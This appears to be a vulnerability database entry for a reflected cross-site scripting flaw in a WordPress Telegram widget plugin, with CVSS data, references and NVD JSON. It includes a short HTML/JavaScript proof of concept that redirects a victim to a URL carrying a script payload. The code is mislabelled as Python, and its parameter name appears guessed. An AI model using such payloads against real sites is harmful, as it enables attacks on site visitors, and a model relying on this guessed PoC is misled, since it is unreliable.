CVE-2026-23807

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WP Socio WP Telegram Widget and Join Link wptelegram-widget allows Reflected XSS.This issue affects WP Telegram Widget and Join Link: from n/a through <= 2.2.13.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WP Telegram Widget and Join Link <= 2.2.13

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-23807 Reflected XSS
The vulnerable parameter accepts unfiltered input.
-->

<html>
<body>
<script>
// Construct the malicious payload
var payload = '<script>alert(1)<\/script>';

// The vulnerable endpoint (example based on plugin behavior)
// Attackers append the payload to the URL parameter processed by the widget
var targetUrl = 'http://target-wordpress-site.com/?wptelegram-widget-param=' + encodeURIComponent(payload);

// Simulate the attack
// In a real scenario, the victim would be tricked into clicking this link
console.log('Simulating attack on:', targetUrl);

window.location = targetUrl;
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-23807
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-23807
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-23807/
[4] VulDB https://vuldb.com/cve/CVE-2026-23807
[5] https://patchstack.com/database/Wordpress/Plugin/wptelegram-widget/vulnerability/wordpress-wp-telegram-widget-and-join-link-plugin-2-2-13-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-23807", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:36.000", "lastModified": "2026-04-24T16:32:53.997", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WP Socio WP Telegram Widget and Join Link wptelegram-widget allows Reflected XSS.This issue affects WP Telegram Widget and Join Link: from n/a through <= 2.2.13."}, {"lang": "es", "value": "Vulnerabilidad de Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') en WP Socio WP Telegram Widget and Join Link wptelegram-widget permite XSS Reflejado. Este problema afecta a WP Telegram Widget and Join Link: desde n/a hasta <= 2.2.13."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wptelegram-widget/vulnerability/wordpress-wp-telegram-widget-and-join-link-plugin-2-2-13-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}